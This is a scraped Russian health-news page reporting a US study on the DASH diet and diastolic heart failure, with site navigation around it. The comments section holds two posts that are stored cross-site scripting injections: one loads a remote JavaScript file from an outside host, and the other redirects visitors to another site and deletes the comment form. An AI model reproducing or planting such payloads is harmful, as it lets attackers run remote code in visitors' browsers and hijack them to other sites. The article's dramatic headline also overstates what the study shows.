Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Какая диета спасет вас от...  >>  Какая диета спасет вас от смерти
 
Обратная связь
 

Какая диета спасет вас от смерти

Размер шрифта
20 февраля 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Ученые из Америки описали диету, которая значительно снижает артериальное давление и улучшает функцию сердца при одной из наиболее распространенной форме сердечной недостаточности.

Какая диета спасет вас от смерти

Авторы назвали свою диету DASH (Dietary Approaches to Stop Hypertension, что можно приблизительно перевести как «диетический подход к профилактике гипертензии»). Испытуемые, придерживаясь ее на протяжении двадцати одного дня, отмечали в итоге ощутимое снижение уровня артериального давления, сопоставимое с таковым при применении лекарственных препаратов.

«Наша научная работа исходила из простого тезиса – неправильное питание может усугубить течение хронической сердечной недостаточности. При этом неоправданное самовольство недопустимо – все изменения пищевого рациона должны скрупулезно обсуждаться с лечащим врачом», – рассказывает Скотт Хаммел, один из авторов исследования, кардиолог Мичиганского университета (США).

Одной из двух форм сердечной недостаточности является диастолическая дисфункция – состояние, при котором сердце становится жестким, неупругим, а потому плохо наполняется кровью. Эта болезнь очень распространена, однако, к сожалению, ее фармакологическое лечение на данный момент сопряжено с немалыми трудностями.

В ходе исследования, о котором идет речь, испытуемые должны были вести дневники питания и есть только ту пищу, которая готовилась в стенах университета. Пищу можно было забрать домой и разогреть вторично. Возраст большинства участников находился в промежутке от 60 до 70 лет.

Особенностью диеты стало высокое содержание калия, магния, кальция и антиоксидантов. Кроме того, жестко ограничивалось употребление поваренной соли – не более 1150 миллиграмм в сутки. Для сравнения, аналогичная цифра для среднестатистического американца составляет 4200 миллиграмм – почти в четыре раза больше.

Помимо снижения артериального давления, ученые отмечают и другой позитивный эффект данной диеты – улучшение расслабления миокарда и, как следствие, повышение эффективности работы сердца.

Вы можете без труда воспроизвести условия этой научной работы у себя дома: заведите дневник питания, измеряйте давление каждый день и, в первую очередь, выбросите вон солонку со стола!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Консервированные фрукты приближают вашу смерть! Страшно?   Жирная еда делает вас стервой!   У вас больное сердце! Нет? А если нагнуться?   Ужас и обман! Никотиновые пластыри не помогут бросить курить!  
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Что нельзя запивать алкоголем?
Как похудеть, ничего не делая
Как натренировать волю и похудеть?

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.